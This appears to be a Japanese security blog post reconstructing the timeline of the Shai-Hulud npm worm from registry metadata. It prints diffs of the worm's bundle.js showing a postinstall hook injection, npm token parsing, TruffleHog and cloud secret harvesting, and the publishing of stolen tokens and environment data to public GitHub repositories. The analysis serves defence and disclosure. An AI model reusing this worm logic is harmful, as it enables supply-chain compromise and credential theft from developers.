インターネットの皆さん、こんにちは。また私です。嬉しいニュースをお届けします。
昨日、時間をかけてShai Huludのペイロードを詳しく調査しました。そこで興味深い点に気づき、それが攻撃のタイムラインをさらに深く分析するきっかけ(あるいはワームホール)となりました。私が見たのは以下の通りです。

複数の package.json そして bundle.js ファイルがあることにお気づきでしょうか?はい、これはShai Huludワームが自身を埋め込む方法のバグです。それは package.json そして bundle.jsを置き換えるのではなく、単に別のコピーを追加していました。それだけでなく、完全なタイムスタンプと変更を行ったローカルユーザーのユーザー名も提供しています。
また、ワームの異なる複数のバージョンを確認しました。これにより、イベントのタイムラインや、攻撃者がどのようにライブでデバッグしていたかについて多くの洞察を得ることができました。それが何を意味するかはご存知でしょう。徹底的に調査を開始する時が来ました。
攻撃はどのように始まったのでしょうか?
私たちが抱いていた大きな疑問の一つは、「最初の侵害は何だったのか?」「攻撃者はどのようにしてワームを拡散させ始めたのか?」ということでした。npmのアーカイブのメタデータを調査し始めたところ、すぐに明らかになりました。答えは単純でした。
攻撃者自身が、多数のパッケージにマルウェアを仕込んでいました。おそらく、元のNx攻撃で盗まれたNPMトークンを使用したのでしょう。なぜそう言えるのか?アーカイブ内のユーザーメタデータから判明しました。ご存知ない方のために説明すると、Kaliは通常の開発者ではなく、セキュリティプロフェッショナルが使用するLinuxディストリビューションの名前です。しかし、最初の49個のパッケージ、合計67バージョンでこのフィンガープリントが確認されました。
試行錯誤
攻撃者は最初から成功したわけではありませんでした。それは、いくつかのパッケージで複数のバージョンをリリースしたことからも明らかです。では、 rxnt-authenticationを見てみましょう。これは、2025年9月14日17:58:50 UTCにリリースされたと私たちが考えている最初の悪意のあるパッケージです(バージョン 0.0.3)。この投稿の冒頭の画像はバージョン 0.0.6のもので、これは攻撃者がリリースした4番目のバージョンでした。以下は、攻撃者が最初に挿入した package.json:

何かおかしな点にお気づきでしょうか? postInstall の大文字表記が間違っています。 i は大文字であるべきではありません!最初の2つの bundle.js ファイルの差分を見ると、攻撃者が最終的にそれに気づいたことがわかります。
--- prettified/bundle-1.js 2025-09-17 19:53:13.717392200 +0200
+++ prettified/bundle-2.js 2025-09-17 19:53:20.162839500 +0200
@@ -65934,7 +65934,7 @@
isNaN(te) || (n.version = `${r}.${F}.${te + 1}`);
}
}
- ((n.scripts.postInstall = "node bundle.js"),
+ ((n.scripts.postinstall = "node bundle.js"),
await re.promises.writeFile(t, JSON.stringify(n, null, 2)),
await te(`tar -uf ${le} -C ${ae} package/package.json`));
const F = process.argv[1];
@@ -168266,67 +168266,90 @@
architecture: this.mapArchitecture(this.systemInfo.architecture),
};
}これを修正しただけでなく、攻撃者はさらにいくつかの変更を加えました。攻撃者は変更履歴を含めなかったので、私が彼らに代わって変更履歴を公開しましょう。
🛠️ 改善点
- TruffleHogモジュール:
- TruffleHogのタイムアウトが120秒から90秒に短縮されました。
- バイナリがダウンロードされる前にTruffleHogを実行しようとした際の競合状態を修正しました。
- Azure認証情報の窃取に関する記述をGCPに置き換えました。
- 感染させるnpmパッケージの数を10から20に増やしました。
明らかに、攻撃者はAzure認証情報を窃取する意図がありましたが、代わりにGCPを選択しました。そして、ワームが拡散するパッケージの数を2倍にすることを決定しました。
別のバグ
2025年9月14日20時43分42秒に、攻撃者は別のパッケージ群をリリースしました。最初のバージョンは 0.0.4 の rxnt-authentication のキャピタリゼーションを修正した postinstall。その後、約20分後の2025年9月14日21時03分17秒に、彼らがバージョンをリリースしたことが確認されました 0.0.5 興味深い変更を伴って:
--- prettified/bundle-2.js 2025-09-17 19:53:20.162839500 +0200
+++ prettified/bundle-3.js 2025-09-17 19:53:26.495899200 +0200
@@ -65934,7 +65934,8 @@
isNaN(te) || (n.version = `${r}.${F}.${te + 1}`);
}
}
- ((n.scripts.postinstall = "node bundle.js"),
+ (n.scripts || (n.scripts = {}),
+ (n.scripts.postinstall = "node bundle.js"),
await re.promises.writeFile(t, JSON.stringify(n, null, 2)),
await te(`tar -uf ${le} -C ${ae} package/package.json`));
const F = process.argv[1];
彼らはスクリプトを変更し、 postinstall スクリプトを、scriptsキーが存在する場合にのみ package.jsonに挿入するようにしました。攻撃者は ngx-bootstrap パッケージを攻撃する準備をしていたようです。そして2025年9月15日01時12分にそれを実行しました。こちらが package.json:
{
"name": "ngx-bootstrap",
"version": "20.0.3",
"description": "Angular Bootstrap",
"author": "Dmitriy Shekhovtsov <valorkin@gmail.com>",
"license": "MIT",
"schematics": "./schematics/collection.json",
"peerDependencies": {
"@angular/animations": "^20.0.2",
"@angular/common": "^20.0.2",
"@angular/core": "^20.0.2",
"@angular/forms": "^20.0.2",
"rxjs": "^6.5.3 || ^7.4.0"
},
"dependencies": {
"tslib": "^2.3.0"
},
"exports": {
...
".": {
"types": "./index.d.ts",
"default": "./fesm2022/ngx-bootstrap.mjs"
}
},
"sideEffects": false,
"publishConfig": {
"registry": "https://registry.npmjs.org/",
"tag": "next"
},
"repository": {
"type": "git",
"url": "git+ssh://git@github.com/valor-software/ngx-bootstrap.git"
},
"bugs": {
"url": "https://github.com/valor-software/ngx-bootstrap/issues"
},
"homepage": "https://github.com/valor-software/ngx-bootstrap#readme",
"keywords": [
"angular",
"bootstap",
"ng",
"ng2",
"angular2",
"twitter-bootstrap"
],
"module": "fesm2022/ngx-bootstrap.mjs",
"typings": "index.d.ts"
}
スクリプトがないことに気づきましたか?このパッケージでワームを実行しようとしても機能しませんでした。そこで彼らはそれを修正しました。そして、そのパッケージも kali ユーザーによって変更されたことが確認できます:

明らかに、このパッケージは、このパッケージを感染させようとした際にワームが機能しなかった理由をデバッグした後で、攻撃者自身によってプッシュされました。
さらなる修正
バージョン 0.0.6 の rxnt-authenticationで、さらなる変更が確認できます(簡潔にするため一部省略)。
--- prettified/bundle-3.js 2025-09-17 19:53:26.495899200 +0200
+++ prettified/bundle-4.js 2025-09-17 19:53:33.252022300 +0200
@@ -49555,7 +49555,7 @@
},
26935: (t) => {
t.exports =
- '#!/bin/bash\n\nSOURCE_ORG=""\nTARGET_USER=""\nGITHUB_TOKEN=""\nPER_PAGE=100\nTEMP_DIR=""\nif [[ $# -lt 3 ]]; then\n...
+ '#!/bin/bash\n\nSOURCE_ORG=""\nTARGET_USER=""\nGITHUB_TOKEN=""\nPER_PAGE=100\nTEMP_DIR=""\nif [[ $# -lt 3 ]]; then\n exit 1\nfi\n\nSOURCE_ORG="$1"\nT.....
},
26937: (t, r, n) => {
(n.r(r), n.d(r, { AwsRestXmlProtocol: () => AwsRestXmlProtocol }));
@@ -54767,25 +54767,6 @@
}
}
},
- 32304: (t, r, n) => {
- (n.r(r), n.d(r, { Application: () => Application }));
- class Application {
- constructor(t) {
- this.config = t;
- }
- getConfig() {
- return { ...this.config };
- }
- getRuntimeInfo() {
- return {
- nodeVersion: process.version,
- platform: process.platform,
- architecture: process.arch,
- timestamp: new Date(),
- };
- }
- }
- },
32348: (t, r, n) => {
(n.r(r),
n.d(r, {
@@ -125245,29 +125226,10 @@
te = n(72438);
},
54704: (t, r, n) => {
- (n.r(r),
- n.d(r, {
- exitWithCode: () => exitWithCode,
- formatOutput: () => formatOutput,
- logError: () => logError,
- logInfo: () => logInfo,
- parseNpmToken: () => parseNpmToken,
- }));
+ (n.r(r), n.d(r, { parseNpmToken: () => parseNpmToken }));
var F = n(79896),
te = n(16928),
re = n(70857);
- function formatOutput(t) {
- return JSON.stringify(t, null, 2);
- }
- function logInfo(t) {
- console.log(`[INFO] ${t}`);
- }
- function logError(t) {
- console.error(`[ERROR] ${t}`);
- }
- function exitWithCode(t) {
- process.exit(t);
- }
function parseNpmToken(t) {
const r = /(?:_authToken|:_authToken)=([a-zA-Z0-9\-._~+/]+=*)/,
n = t
@@ -156119,7 +156081,7 @@
await this.octokit.rest.repos.createForAuthenticatedUser({
name: t,
description: "Shai-Hulud Repository.",
- private: !0,
+ private: !1,
auto_init: !1,
has_issues: !1,
has_projects: !1,
@@ -156140,11 +156102,6 @@
),
).toString("base64"),
})),
- await this.octokit.rest.repos.update({
- owner: n.owner.login,
- repo: n.name,
- private: !1,
- }),
{
owner: n.owner.login,
repo: n.name,
@@ -156178,20 +156135,6 @@
return [];
}
}
- async repoExists(t) {
- try {
- const r = await this.octokit.rest.users.getAuthenticated();
- return (
- await this.octokit.rest.repos.get({
- owner: r.data.login,
- repo: t,
- }),
- !0
- );
- } catch {
- return !1;
- }
- }
}
},
82053: (t, r, n) => {
@@ -174427,114 +174370,110 @@
__webpack_require__.r(__webpack_exports__);
var _utils_os__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(71197),
_lib_utils__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(54704),
- _models_general__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(32304),
- _modules_github__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(82036),
- _modules_aws__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(56686),
- _modules_gcp__WEBPACK_IMPORTED_MODULE_5__ = __webpack_require__(9897),
- _modules_truffle__WEBPACK_IMPORTED_MODULE_6__ = __webpack_require__(94913),
- _modules_npm__WEBPACK_IMPORTED_MODULE_7__ = __webpack_require__(40766);
+ _modules_github__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(82036),
+ _modules_aws__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(56686),
+ _modules_gcp__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(9897),
+ _modules_truffle__WEBPACK_IMPORTED_MODULE_5__ = __webpack_require__(94913),
+ _modules_npm__WEBPACK_IMPORTED_MODULE_6__ = __webpack_require__(40766);
async function main() {
- const t = new _models_general__WEBPACK_IMPORTED_MODULE_2__.Application({
- name: "System Info App",
- version: "1.0.0",
- description: "Optimizes system.",
- }),
- r = (0, _utils_os__WEBPACK_IMPORTED_MODULE_0__.getSystemInfo)(),
- n = t.getRuntimeInfo(),
- F = new _modules_github__WEBPACK_IMPORTED_MODULE_3__.GitHubModule(),
- te = new _modules_aws__WEBPACK_IMPORTED_MODULE_4__.AWSModule(),
- re = new _modules_gcp__WEBPACK_IMPORTED_MODULE_5__.GCPModule(),
- ne = new _modules_truffle__WEBPACK_IMPORTED_MODULE_6__.TruffleHogModule();
- let oe = process.env.NPM_TOKEN;
- oe ||
- (oe =
+ const t = (0, _utils_os__WEBPACK_IMPORTED_MODULE_0__.getSystemInfo)(),
+ r = new _modules_github__WEBPACK_IMPORTED_MODULE_2__.GitHubModule(),
+ n = new _modules_aws__WEBPACK_IMPORTED_MODULE_3__.AWSModule(),
+ F = new _modules_gcp__WEBPACK_IMPORTED_MODULE_4__.GCPModule(),
+ te = new _modules_truffle__WEBPACK_IMPORTED_MODULE_5__.TruffleHogModule();
+ let re = process.env.NPM_TOKEN;
+ re ||
+ (re =
(0, _lib_utils__WEBPACK_IMPORTED_MODULE_1__.parseNpmToken)() ?? void 0);
- const ie = new _modules_npm__WEBPACK_IMPORTED_MODULE_7__.NpmModule(oe);
- let se = null,
- ae = !1;
+ const ne = new _modules_npm__WEBPACK_IMPORTED_MODULE_6__.NpmModule(re);
+ let oe = null,
+ ie = !1;
if (
- F.isAuthenticated() &&
+ r.isAuthenticated() &&
((0, _utils_os__WEBPACK_IMPORTED_MODULE_0__.isLinux)() ||
(0, _utils_os__WEBPACK_IMPORTED_MODULE_0__.isMac)())
) {
- const t = F.getCurrentToken(),
- r = await F.getUser();
- if (null != t && (t.startsWith("ghp_") || t.startsWith("gho_")) && r) {
- await F.extraction(t);
- const n = await F.getOrgs();
- for (const t of n) await F.migration(r.login, t, F.getCurrentToken());
+ const t = r.getCurrentToken(),
+ n = await r.getUser();
+ if (null != t && (t.startsWith("ghp_") || t.startsWith("gho_")) && n) {
+ await r.extraction(t);
+ const F = await r.getOrgs();
+ for (const t of F) await r.migration(n.login, t, r.getCurrentToken());
}
}
- const [ce, le] = await Promise.all([
+ const [se, ae] = await Promise.all([
(async () => {
try {
if (
- ((se = await ie.validateToken()),
- (ae = !!se),
- se &&
+ ((oe = await ne.validateToken()),
+ (ie = !!oe),
+ oe &&
((0, _utils_os__WEBPACK_IMPORTED_MODULE_0__.isLinux)() ||
(0, _utils_os__WEBPACK_IMPORTED_MODULE_0__.isMac)()))
) {
- const t = await ie.getPackagesByMaintainer(se, 20);
+ const t = await ne.getPackagesByMaintainer(oe, 20);
await Promise.all(
t.map(async (t) => {
try {
- await ie.updatePackage(t);
+ await ne.updatePackage(t);
} catch (t) {}
}),
);
}
} catch (t) {}
- return { npmUsername: se, npmTokenValid: ae };
+ return { npmUsername: oe, npmTokenValid: ie };
})(),
(async () => {
- const [t, r] = await Promise.all([ne.isAvailable(), ne.getVersion()]);
+ if (process.env.SKIP_TRUFFLE)
+ return {
+ available: !1,
+ installed: !1,
+ version: null,
+ platform: null,
+ results: null,
+ };
+ const [t, r] = await Promise.all([te.isAvailable(), te.getVersion()]);
let n = null;
return (
- t && (n = await ne.scanFilesystem()),
+ t && (n = await te.scanFilesystem()),
{
available: t,
- installed: ne.isInstalled(),
+ installed: te.isInstalled(),
version: r,
- platform: ne.getSupportedPlatform(),
+ platform: te.getSupportedPlatform(),
results: n,
}
);
})(),
]);
- ((se = ce.npmUsername), (ae = ce.npmTokenValid));
- let ue = [];
- (await te.isValid()) && (ue = await te.getAllSecretValues());
- let de = [];
- (await re.isValid()) && (de = await re.getAllSecretValues());
- const pe = {
- application: t.getConfig(),
+ ((oe = se.npmUsername), (ie = se.npmTokenValid));
+ let ce = [];
+ (await n.isValid()) && (ce = await n.getAllSecretValues());
+ let le = [];
+ (await F.isValid()) && (le = await F.getAllSecretValues());
+ const ue = {
system: {
- platform: r.platform,
- architecture: r.architecture,
- platformDetailed: r.platformRaw,
- architectureDetailed: r.archRaw,
+ platform: t.platform,
+ architecture: t.architecture,
+ platformDetailed: t.platformRaw,
+ architectureDetailed: t.archRaw,
},
- runtime: n,
environment: process.env,
modules: {
github: {
- authenticated: F.isAuthenticated(),
- token: F.getCurrentToken(),
+ authenticated: r.isAuthenticated(),
+ token: r.getCurrentToken(),
+ username: r.getUser(),
},
- aws: { secrets: ue },
- gcp: { secrets: de },
- truffleHog: le,
- npm: { token: oe, authenticated: ae, username: se },
+ aws: { secrets: ce },
+ gcp: { secrets: le },
+ truffleHog: ae,
+ npm: { token: re, authenticated: ie, username: oe },
},
};
- (F.isAuthenticated() &&
- !F.repoExists("Shai-Hulud") &&
- (await F.makeRepo(
- "Shai-Hulud",
- (0, _lib_utils__WEBPACK_IMPORTED_MODULE_1__.formatOutput)(pe),
- )),
- (0, _lib_utils__WEBPACK_IMPORTED_MODULE_1__.exitWithCode)(0));
+ (r.isAuthenticated() &&
+ (await r.makeRepo("Shai-Hulud", JSON.stringify(ue, null, 2))),
+ process.exit(0));
}
main().catch((t) => {
process.exit(0);
パッチノートは以下の通りです:
✨ 新機能
- 条件付きTruffleHogスキャン:TruffleHogファイルシステムスキャンを、
SKIP_TRUFFLE環境変数を設定することでスキップできます。
🛠️ 改善点
- リポジトリ移行機能の強化:移行スクリプトは、現在、自動的に
.github/workflowsディレクトリを移行済みリポジトリから削除します。 - デフォルトの公開リポジトリ:収集されたシステムデータを保存するために作成されるGitHubリポジトリは、プライベートとして作成された後に公開されるのではなく、デフォルトで公開として作成されるようになりました。
- repoExistsチェックの削除:Shai-Huludリポジトリが既に存在するかどうかを確認するチェックが削除されました。スクリプトは今後、実行ごとにリポジトリの作成を試み、リポジトリが既に存在する場合のGitHubの動作に依存します。
最初のコミュニティ拡散
この分析に基づくと、最初のコミュニティ拡散は、パッケージ capacitor-plugin-healthapp バージョン 0.0.2 2025年9月15日 04:54に発生しました。

これは、アーカイブにユーザーがいないことが確認された最初のパッケージです kali.
tinycolorはどのように侵害されたのでしょうか?
このキャンペーンの最初の報告は、tinycolorパッケージに強く焦点を当てていました。では、見てみましょう!最初の悪意のあるバージョンは @ctrl/tinycolor バージョン 4.1.1、2025年9月15日 19:52にリリースされました。

しかし、見てください、別の kali!このパッケージは、コミュニティ拡散によって侵害された可能性は低いですが、攻撃者がワームを起動させるために別のパッケージをシードしようとしたことによるものです。
CrowdStrikeはどのように侵害されたのでしょうか?
これがパッケージです @crowdstrike/foundry-js バージョン 0.19.1、2025年9月16日01:14にリリースされました。ユーザーが kali これも変更したことに注意してください。

これは、攻撃者がCrowdStrikeの認証情報を所有しており、それを利用して攻撃の次の波をシードしたことを示しています。
NativeScriptはどのように侵害されましたか?
~との話から、 Daniel Pereira、このキャンペーンについてコミュニティに最初に警告したDaniel Pereira氏との話から、彼はNativeScriptエコシステムに影響を与えていることを観察したため、これに気づきました。最初のパッケージは @nativescript-community/arraybuffers バージョン 1.1.6 2025年9月15日09:16に:

コミュニティ拡散の明確な事例です。
主要なイベント
キャンペーン中の重要なイベントのタイムラインを以下に示します。
今後の展望
このShai Huludキャンペーンは、Nxから始まった元のS1ngularity攻撃から著しいエスカレーションを示しています。攻撃者は、バグを修正し、ワームをnpmエコシステム全体に伝播させようと複数回試みていることが観察されます。我々が導き出した最も論理的な説明は、攻撃者が元の攻撃で盗んだ認証情報を保持しており、機が熟すまでそれらを使用するのを待っていたということです。
したがって、彼らの試みがすぐに著しい速度で伝播しなかったため、攻撃者が数日間にわたって複数回の攻撃を仕込んでいるのが観察されます。彼らはその拡散速度の遅さに不満を抱いていましたが、これは我々にとって非常に幸運なことです。
しかし、それは不都合な真実を提起します。もし彼らが数週間にわたってこれらの認証情報を保持しており、さらに多くの認証情報を盗むことができたのであれば、これが彼らを見る最後の機会ではないでしょう。現時点では、ワームは真にウイルス化するほどの脱出速度にはまだ達していません。
攻撃者が隠し持っている認証情報に関して、彼らが切り札を使い果たしたと仮定するのは愚かでしょう。攻撃者のインセンティブと動機が何であるかはまだ不明であり、これは、この物語が終わっていないことを示唆しています。まだ語られていない物語の三部作に突入している可能性が高いようです。そして現時点では、結末がハッピーエンドになるとは思えません。

